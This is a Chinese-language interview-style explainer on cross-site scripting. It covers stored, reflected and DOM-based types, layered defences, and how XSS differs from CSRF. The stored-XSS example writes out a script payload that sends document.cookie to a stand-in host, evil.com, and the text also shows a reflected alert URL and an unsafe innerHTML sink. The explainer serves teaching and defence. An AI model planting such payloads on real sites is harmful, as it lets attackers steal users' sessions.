什么是 XSS 攻击?XSS 有哪些类型?如何防御?
什么是 XSS 攻击?
XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入网页,当其他用户浏览时脚本在其浏览器中执行,可窃取 Cookie、劫持会话、篡改页面内容。
XSS 的三种类型
存储型 XSS
恶意脚本被永久存入服务器(如评论区、数据库)。用户访问含恶意脚本的页面即触发,危害最大,攻击者无需诱骗用户点击链接。
示例:评论区提交 <script>fetch("https://evil.com?c="+document.cookie)</script>
反射型 XSS
恶意脚本通过 URL 参数传入,服务器将其"反射"回响应页面。需诱骗用户点击恶意链接才触发,常见于搜索页、错误页。
示例:https://example.com/search?q=<script>alert(1)</script>
DOM 型 XSS
漏洞纯在客户端,不经过服务器。JavaScript 直接读取 URL 片段等来源并写入 DOM,脚本在浏览器中直接执行。
示例:document.getElementById("out").innerHTML = location.hash.slice(1)
如何防御 XSS?
- 输入验证:白名单校验用户输入的类型、长度、格式,拒绝不合预期数据
- 输出编码:根据上下文(HTML/JS/URL/CSS)对特殊字符转义,如
<→< - CSP 策略:设置
Content-Security-Policy限制脚本来源,禁止内联脚本执行 - HttpOnly Cookie:设置 Cookie 的 HttpOnly 标志,使 JS 无法读取敏感 Cookie
- 安全 API:用
textContent代替innerHTML,避免eval()和new Function() - 框架防护:React/Vue 默认转义输出,但
dangerouslySetInnerHTML/v-html需格外谨慎
常见追问
XSS 和 CSRF 有什么区别? XSS 是向页面注入脚本执行恶意操作;CSRF 是借用用户已登录的身份,构造请求让浏览器自动带上 Cookie 发起伪造操作。XSS 偷数据,CSRF 冒充用户。
CSP 能完全防止 XSS 吗? 不能。CSP 限制脚本来源和执行方式,但如果攻击者能在允许的脚本来源中注入代码(如 CDN 被攻破),CSP 也无法阻止。防御需多层配合。
SameSite Cookie 对 XSS 有什么影响? SameSite 控制 Cookie 跨站发送行为,主要防御 CSRF。对 XSS 本身无直接防护,但可限制窃取到的 Cookie 在跨站请求中被自动携带,缩小攻击面。